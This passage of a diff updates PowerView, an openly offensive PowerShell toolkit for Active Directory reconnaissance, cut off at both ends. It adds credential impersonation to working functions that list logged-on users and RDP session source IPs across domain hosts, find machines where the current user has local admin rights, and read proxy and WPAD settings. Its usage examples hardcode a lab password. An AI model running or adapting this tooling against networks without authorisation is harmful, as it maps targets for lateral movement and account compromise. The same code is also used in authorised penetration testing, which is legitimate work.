'localhost'. - Function: Get-LoggedOnLocal - Author: Matt Kelly, @BreakersAll +.PARAMETER Credential - .PARAMETER ComputerName +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - The ComputerName to query for active sessions. +.EXAMPLE - .EXAMPLE +Get-RegLoggedOn - PS C:\> Get-LoggedOnLocal +Returns users actively logged onto the local host. - Returns active sessions on the local host. +.EXAMPLE - .EXAMPLE +Get-RegLoggedOn -ComputerName sqlserver - PS C:\> Get-LoggedOnLocal -ComputerName sqlserver +Returns users actively logged onto the 'sqlserver' host. - Returns active sessions on the 'sqlserver' host. +.EXAMPLE +Get-DomainController | Get-RegLoggedOn + +Returns users actively logged on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.RegLoggedOnUser')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost' ) - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - try { - # retrieve HKU remote registry values - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' - # sort out bogus sid's like _class - $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { - $UserName = Convert-SidToName $_ + if ($UserName) { + $UserName, $UserDomain = $UserName.Split('@') + } + else { + $UserName = $_ + $UserDomain = $Null + } - $Parts = $UserName.Split('\') - $UserDomain = $Null - $UserName = $Parts[-1] - if ($Parts.Length -eq 2) { - $UserDomain = $Parts[0] + $RegLoggedOnUser = New-Object PSObject + $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') + $RegLoggedOnUser + } + } + catch { + Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" } - - $LocalLoggedOnUser = New-Object PSObject - $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" - $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ - $LocalLoggedOnUser } } - catch { - Write-Verbose "Error opening remote registry on '$ComputerName'" + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Get-NetRDPSession { +function Get-NetRDPSession { <# - .SYNOPSIS +.SYNOPSIS + +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. This is a replacement for qwinsta. + +.PARAMETER ComputerName - This function will execute the WTSEnumerateSessionsEx and - WTSQuerySessionInformation Win32API calls to query a given - RDP remote service for active sessions and originating IPs. - This is a replacement for qwinsta. +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. - Note: only members of the Administrators or Account Operators local group - can successfully execute this functionality on a remote target. +.PARAMETER Credential - .PARAMETER ComputerName +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - The hostname to query for active RDP sessions. +.EXAMPLE - .EXAMPLE +Get-NetRDPSession - PS C:\> Get-NetRDPSession +Returns active RDP/terminal sessions on the local host. - Returns active RDP/terminal sessions on the local host. +.EXAMPLE - .EXAMPLE +Get-NetRDPSession -ComputerName "sqlserver" - PS C:\> Get-NetRDPSession -ComputerName "sqlserver" +Returns active RDP/terminal sessions on the 'sqlserver' host. - Returns active RDP/terminal sessions on the 'sqlserver' host. +.EXAMPLE - .EXAMPLE +Get-DomainController | Get-NetRDPSession - PS C:\> Get-NetDomainController | Get-NetRDPSession +Returns active RDP/terminal sessions on all domain controllers. - Returns active RDP/terminal sessions on all domain controllers. +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +.LINK + +https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx #> + [OutputType('PowerView.RDPSessionInfo')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { - # open up a handle to the Remote Desktop Session host - $Handle = $Wtsapi32::WTSOpenServerEx($Computer) + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { - # arguments for WTSEnumerateSessionsEx - $ppSessionInfo = [IntPtr]::Zero - $pCount = 0 - - # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 - # Locate the offset of the initial intPtr - $Offset = $ppSessionInfo.ToInt64() + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if (($Result -ne 0) -and ($Offset -gt 0)) { + # locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $WTS_SESSION_INFO_1::GetSize() + if (($Result -ne 0) -and ($Offset -gt 0)) { - # parse all the result structures - for ($i = 0; ($i -lt $pCount); $i++) { - - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() - $RDPSession = New-Object PSObject + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { - if ($Info.pHostName) { - $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName - } - else { - # if no hostname returned, use the specified hostname - $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer - } + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 - $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + $RDPSession = New-Object PSObject - if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { - # if a domain isn't returned just use the username - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" - } - else { - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" - } + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } - $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID - $RDPSession | Add-Member Noteproperty 'State' $Info.State + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName - $ppBuffer = [IntPtr]::Zero - $pBytesReturned = 0 + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } - # query for the source client IP with WTSQuerySessionInformation - # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State - if($Result -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" - } - else { - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] - } - else { - $SourceIP = $Null - } + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" + } + else { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if ($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') + $RDPSession - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) - $Offset += $Increment + $Offset += $Increment + } + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } + else { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + # close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" } - # free up the memory result buffer - $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } - # Close off the service handle - $Null = $Wtsapi32::WTSCloseServer($Handle) } - else { - Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Invoke-CheckLocalAdminAccess { +function Test-AdminAccess { <# - .SYNOPSIS +.SYNOPSIS + +Tests if the current user has administrative access to the local (or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' + 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' + 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. If this succeeds, the current user context +has local administrator acess to the target. + +.PARAMETER ComputerName + +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. - This function will use the OpenSCManagerW Win32API call to establish - a handle to the remote host. If this succeeds, the current user context - has local administrator acess to the target. +.PARAMETER Credential - Idea stolen from the local_admin_search_enum post module in Metasploit written by: - 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' - 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' - 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - .PARAMETER ComputerName +.EXAMPLE - The hostname to query for active sessions. +Test-AdminAccess -ComputerName sqlserver - .OUTPUTS +Returns results indicating whether the current user has admin access to the 'sqlserver' host. - $True if the current user has local admin access to the hostname, $False otherwise +.EXAMPLE - .EXAMPLE +Get-DomainComputer | Test-AdminAccess - PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver +Returns what machines in the domain the current user has access to. - Returns active sessions on the local host. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred - PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess +.OUTPUTS - Sees what machines in the domain the current user has access to. +PowerView.AdminAccess - .LINK +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> + [OutputType('PowerView.AdminAccess')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) + [String[]] + $ComputerName = 'localhost', - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } - Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle" + PROCESS { + ForEach ($Computer in $ComputerName) { + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - $IsAdmin = New-Object PSObject - $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { - $Null = $Advapi32::CloseServiceHandle($Handle) - $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + } + $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') + $IsAdmin + } } - $IsAdmin + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } } -filter Get-SiteName { +function Get-NetComputerSiteName { <# - .SYNOPSIS +.SYNOPSIS + +Returns the AD site where the local (or a remote) machine resides. - This function will use the DsGetSiteName Win32API call to look up the - name of the site where a specified computer resides. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf - .PARAMETER ComputerName +.DESCRIPTION - The hostname to look the site up for, default to localhost. +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. - .EXAMPLE +.PARAMETER ComputerName - PS C:\> Get-SiteName -ComputerName WINDOWS1 +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. - Returns the site for WINDOWS1.testlab.local. +.PARAMETER Credential - .EXAMPLE +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - PS C:\> Get-NetComputer | Get-SiteName +.EXAMPLE - Returns the sites for every machine in AD. +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local + +Returns the site for WINDOWS1.testlab.local. + +.EXAMPLE + +Get-DomainComputer | Get-NetComputerSiteName + +Returns the sites for every machine in AD. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. #> + + [OutputType('PowerView.ComputerSite')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = $Env:ComputerName - ) + [String[]] + $ComputerName = 'localhost', - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # if we get an IP address, try to resolve the IP to a hostname - if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { - $IPAddress = $Computer - $Computer = [System.Net.Dns]::GetHostByAddress($Computer) - } - else { - $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } } - $PtrInfo = [IntPtr]::Zero + PROCESS { + ForEach ($Computer in $ComputerName) { + # if we get an IP address, try to resolve the IP to a hostname + if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName + } + else { + $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero - $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) - $ComputerSite = New-Object PSObject - $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer - $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress - if ($Result -eq 0) { - $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) - $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename - } - else { - $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage - } + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + else { + Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' '' + } + $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) - $ComputerSite + $ComputerSite + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } } -filter Get-LastLoggedOn { +function Get-WMIRegProxy { <# - .SYNOPSIS +.SYNOPSIS + +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +.PARAMETER ComputerName + +Specifies the system to enumerate proxy settings on. Defaults to the local host. - This function uses remote registry functionality to return - the last user logged onto a target machine. +.PARAMETER Credential - Note: This function requires administrative rights on the - machine you're enumerating. +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. - .PARAMETER ComputerName +.EXAMPLE - The hostname to query for the last logged on user. - Defaults to the localhost. +Get-WMIRegProxy - .PARAMETER Credential +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... - A [Management.Automation.PSCredential] object for the remote connection. +.EXAMPLE - .EXAMPLE +$Cred = Get-Credential "TESTLAB\administrator" +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local - PS C:\> Get-LastLoggedOn +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local - Returns the last user logged onto the local machine. +.INPUTS - .EXAMPLE - - PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 +String - Returns the last user logged onto WINDOWS1 +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). - .EXAMPLE - - PS C:\> Get-NetComputer | Get-LastLoggedOn +.OUTPUTS - Returns the last user logged onto all machines in the domain. +PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> + [OutputType('PowerView.ProxySettings')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost', + [String[]] + $ComputerName = $Env:COMPUTERNAME, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } - # HKEY_LOCAL_MACHINE - $HKLM = 2147483650 + $RegProvider = Get-WmiObject @WmiArguments + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' - # try to open up the remote registry key to grab the last logged on user - try { + # HKEY_CURRENT_USER + $HKCU = 2147483649 + $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue + $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } - - $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" - $Value = "LastLoggedOnUser" - $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + $Wpad = '' + if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { + try { + $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) + } + catch { + Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" + } + } - $LastLoggedOn = New-Object PSObject - $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer - $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser - $LastLoggedOn - } - catch { - Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled." + if ($ProxyServer -or $AutoConfigUrl) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer + $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL + $Out | Add-Member Noteproperty 'Wpad' $Wpad + $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') + $Out + } + else { + Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" + } + } } } -filter Get-CachedRDPConnection { +function Get-WMIRegLastLoggedOn { <# - .SYNOPSIS +.SYNOPSIS + +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. - Uses remote registry functionality to query all entries for the - "Windows Remote Desktop Connection Client" on a machine, separated by - user and target server. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - Note: This function requires administrative rights on the - machine you're enumerating. +.DESCRIPTION - .PARAMETER ComputerName +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. - The hostname to query for RDP client information. - Defaults to localhost. +.PARAMETER ComputerName - .PARAMETER Credential +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. - A [Management.Automation.PSCredential] object for the remote connection. +.PARAMETER Credential - .EXAMPLE +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. - PS C:\> Get-CachedRDPConnection +.EXAMPLE - Returns the RDP connection client information for the local machine. +Get-WMIRegLastLoggedOn - .EXAMPLE +Returns the last user logged onto the local machine. - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local +.EXAMPLE - Returns the RDP connection client information for the WINDOWS2.testlab.local machine +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 - .EXAMPLE +Returns the last user logged onto WINDOWS1 - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred +.EXAMPLE - Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. +Get-DomainComputer | Get-WMIRegLastLoggedOn - .EXAMPLE +Returns the last user logged onto all machines in the domain. - PS C:\> Get-NetComputer | Get-CachedRDPConnection +.EXAMPLE - Get cached RDP information for all machines in the domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName 